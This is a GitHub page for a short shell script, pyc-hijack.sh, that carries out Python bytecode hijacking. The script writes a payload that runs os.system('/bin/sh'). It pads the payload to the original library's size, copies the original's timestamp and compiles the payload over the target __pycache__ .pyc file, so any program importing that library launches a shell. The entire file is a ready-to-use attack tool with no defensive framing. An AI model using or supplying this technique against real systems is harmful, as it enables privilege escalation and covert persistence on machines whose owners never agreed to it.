-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpyc-hijack.sh
More file actions
45 lines (35 loc) · 1.07 KB
/
pyc-hijack.sh
File metadata and controls
45 lines (35 loc) · 1.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/bin/sh
# python3 .pyc library hijacking
die() {
printf "%s\n" "python3 .pyc library hijacking" \
"sh ${0} [LIB].py [LIB].pyc" \
"- check req pyc file name w/ python3 -v script.py" \
"e.g., sh ${0} /path/to/file.py /path/to/__pycache__/file.cpython-312.pyc"
exit 1
}
[ "$#" -lt 2 ] && die
ORIG_SRC="${1}"
MAL_SRC=$(mktemp)
TARGET_PYC="${2}"
printf "%s\n" "origsrc: ${ORIG_SRC}" "malsrc: ${MAL_SRC}"
orig_size=$(wc -c < "${ORIG_SRC}") || { echo "ERR: origsrc not found"; exit 1; }
cat > "$MAL_SRC" << 'EOF'
import os
os.system('/bin/sh')
EOF
# pad
current_size=$(wc -c < "$MAL_SRC")
padding_A=$((orig_size - current_size - 2))
[ "$padding_A" -ge 0 ] && {
printf '\n#%*s' "$padding_A" '' | tr ' ' 'A' >> "$MAL_SRC"
} || {
echo "ERR: malicious source is too large, make it shorter"
exit 1
}
touch -r "${ORIG_SRC}" "${MAL_SRC}"
python3 -c "import py_compile, sys; py_compile.compile('${MAL_SRC}', cfile='${TARGET_PYC}', doraise=True)" || {
echo "ERR: compilation failed"
exit 1
}
ls -l "${ORIG_SRC}" "${MAL_SRC}"
echo "INF: ${TARGET_PYC} hijacked"